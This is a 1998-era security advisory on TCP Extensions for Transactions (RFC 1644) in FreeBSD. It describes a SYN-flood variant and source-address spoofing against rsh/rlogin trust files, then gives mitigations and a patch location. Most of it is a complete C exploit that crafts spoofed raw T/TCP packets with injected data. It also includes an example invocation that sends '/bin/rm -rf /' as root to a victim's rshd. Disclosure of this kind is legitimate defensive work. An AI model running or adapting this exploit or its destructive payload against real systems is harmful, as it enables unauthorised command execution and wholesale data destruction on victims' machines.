COMMAND
RFC-1644
SYSTEMS AFFECTED
FreeBSD and other systems incorporating TTCP extentions
PROBLEM
RFC 1644 provides an extension to TCP called TCP Extensions for
Transactions, or shortly T/TCP. It provides a way of bypassing
the standard three-way handshake found in TCP, thus speeding up
transactions. Vasim Valejev found following. Transactions-TCP
(RFC-1644) in FreeBSD (and other systems) can cause problems for
security:
1. New variant of SYN-flood attack . Someone can send many T/TCP
packets with fake originate address (any unreachable address)
and overload (possible cause Denial-Of-Service) victim's server
(for example - many T/TCP requests to telnet/ftp/http/etc
daemons).
2. Attack to r*-services (rshd/rlogind without
kerberos-authentication) . Hacker can send T/TCP requests with
originate address from /etc/hosts.equiv or .rhosts files. In
some cases (computer with address from hacker's request can't
send TCP-RST packet in time) it possible run commands on
attacked target. Experiments showed what attacker just need
is 10-50 ms delay between victim sending SYN-ACK packet and
receiving RST packet from trusted computer (it depends from
algorithm rshd/rlogind, place DNS-server with reverse zone,
etc). This attack can be used on other tcp-services with
authentication based on ip-address.
SYN-flood attack with TTCP-packets will have null effects at most
systems. But attacks on some tcp-services can be successful.
Imagine following situation (simple network): computer 'victim'
and computer 'master' with link > 10 ms delay. Victim has
'+master' in /etc/hosts.equiv and 'shell stream ... rshd' in
/etc/inetd.conf. Both computers have t/tcp (rfc-1644) support.
Play:
1. Master does any t/tcp connections to victim. Victim's
cache[master].cc sets to value > 0 .
... Time passed ...
2. Hacker runs command:
hacker# 1644 master victim 514 '\0root\0root\0/bin/rm -rf /\0\0'
Hacker's computer sends T/TCP packet (SYN+PUSH+data) to
'victim' with source address of 'master'. CC value in packet
may be any > cache[master].cc (0xffffffff for example).
3. Hacker's packet received and victim sends SYN+ACK packet to
master. Preparing to run rshd with hacker's data ('rm -rf /'
as root).
... 10-50 ms passed ...
4. Victim's packet received and master sends RST packet. Too
late, sorry ...
FreeBSD version of 1644 (use ip addresses only):
/* 1644 by Vasim V. */
/* Please , don't use this program for any destructive targets ! */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#define NEED_NEWCC 0x01
#define NEED_FIN 0x02
#define NEED_PUSH 0x04
#define NEED_TSTAMP 0x08
struct fhdr {
u_long saddr;
u_long daddr;
u_char zero;
u_char protocol;
u_short length;
};
unsigned long cc = 0x7fffff00;
u_short in_cksum(u_short *data,u_short length)
{
long value;
u_short i;
value = 0;
for(i=0; i < (length >> 1); i++)
value+=data[i];
if (length & 1)
value+=*(((u_char *) data) + length - 1);
value=(value & 65535) + (value >> 16);
return(~value);
}
void
sendpack(int sock, u_long saddr, u_long daddr, u_short port, u_char *data, int length, int options)
{
struct ip *mip;
struct tcphdr *mtcp;
struct fhdr *fhdr;
int totlen;
u_char buf[9000];
struct timeval tp;
struct sockaddr_in sin;
gettimeofday(&tp, NULL);
srandom(tp.tv_usec);
if (cc == 0)
cc = tp.tv_sec;
totlen = sizeof(struct ip) + sizeof(struct tcphdr);
mtcp = (struct tcphdr *) (buf + sizeof(struct ip));
mtcp->th_sport = htons(512 + (random() % 512));
mtcp->th_dport = htons(port);
mtcp->th_seq = htonl(random());
mtcp->th_ack = 0;
mtcp->th_x2 = 0;
mtcp->th_flags = TH_SYN;
if (options & NEED_FIN)
mtcp->th_flags |= TH_FIN;
if (options & NEED_PUSH)
mtcp->th_flags |= TH_PUSH;
mtcp->th_win = htons(17244);
mtcp->th_urp = 0;
mtcp->th_sum = 0;
buf[totlen++] = TCPOPT_MAXSEG;
buf[totlen++] = TCPOLEN_MAXSEG;
*((u_short *) &buf[totlen]) = htons(1460);
totlen += sizeof(u_short);
if (options & NEED_TSTAMP) {
*((u_long *) &buf[totlen]) = htonl(TCPOPT_NOP << 24 |
TCPOPT_WINDOW << 16 | TCPOLEN_WINDOW << 8);
totlen += sizeof(u_long);
*((u_long *) &buf[totlen]) = htonl(TCPOPT_TSTAMP_HDR);
totlen += sizeof(u_long);
*((u_long *) &buf[totlen]) = htonl(tp.tv_sec);
totlen += sizeof(u_long);
*((u_long *) &buf[totlen]) = 0;
totlen += sizeof(u_long);
}
buf[totlen++] = TCPOPT_NOP;
buf[totlen++] = TCPOPT_NOP;
if (options & NEED_NEWCC)
buf[totlen++] = TCPOPT_CCNEW;
else
buf[totlen++] = TCPOPT_CC;
buf[totlen++] = TCPOLEN_CC;
*((u_long *) &buf[totlen]) = htonl(cc);
cc++;
totlen += sizeof(u_long);
mtcp->th_off = (totlen - sizeof(struct ip)) >> 2;
if (data && length)
memcpy(buf + totlen, data, length);
fhdr = (struct fhdr *) (buf + sizeof(struct ip) - sizeof(struct fhdr));
fhdr->saddr = saddr;
fhdr->daddr = daddr;
fhdr->zero = 0;
fhdr->protocol = IPPROTO_TCP;
fhdr->length = htons(totlen - sizeof(struct ip) + length);
mtcp->th_sum = in_cksum((u_short *) fhdr, totlen - sizeof(struct ip) + sizeof(struct fhdr) + length);
mip = (struct ip *) buf;
mip->ip_len = totlen + length;
mip->ip_v = 4;
mip->ip_hl = 5;
mip->ip_tos = 0;
mip->ip_id = htons(random() % 32768);
mip->ip_off = IP_DF;
mip->ip_ttl = 0x40;
mip->ip_p = IPPROTO_TCP;
mip->ip_sum = 0;
mip->ip_src.s_addr = saddr;
mip->ip_dst.s_addr = daddr;
mip->ip_sum = in_cksum((u_short *) mip, sizeof(struct ip));
memset((void *) &sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = daddr;
sin.sin_port = htons(port);
if (sendto(sock, buf, totlen + length, 0, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) < 0)
perror("sendto");
}
void
main (int argc, char **argv)
{
u_long saddr;
u_long daddr;
int port;
int sock;
u_char buf[8192];
int len;
int i;
u_char *p;
u_char c;
if (argc != 5) {
fprintf(stderr, "\n1644 by Vasim V.\n\nUsage: %s source destination port data\n", argv[0]);
exit(1);
}
saddr = inet_addr(argv[1]);
daddr = inet_addr(argv[2]);
port = atoi(argv[3]);
sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sock < 0) {
perror("raw socket");
exit(2);
}
i = 1;
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i));
p = buf;
len = 0;
for(i = 0; i < strlen(argv[4]); i++) {
c = argv[4][i];
if (c == '\\') {
i++;
c = argv[4][i];
switch (c) {
case '0':
*p++ = '\0';
break;
case 'r':
*p++ = '\r';
break;
case 'n':
*p++ = '\n';
break;
default:
*p++ = c;
break;
}
} else
*p++ = c;
len++;
}
sendpack(sock, saddr, daddr, port, buf, len, NEED_PUSH | NEED_TSTAMP);
}
SOLUTION
Disable all r-* services. Note that setting the kernel variable
net.inet.tcp.rfc1644 to 0 does not solve the problem. This
variable controls whether the system will initiate rfc1644 based
connections and does not affect the ability to receive such
connections. FreeBSD affected are FreeBSD 2.1.*, FreeBSD 2.2.*,
FreeBSD-stable before 1998/05/14 and FreeBSD-current before
1998/05/05. This was corrected in FreeBSD-3.0-current as of
1998/05/14 and FreeBSD-2.2-stable as of 1998/05/05. There is
patch at:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-98:03/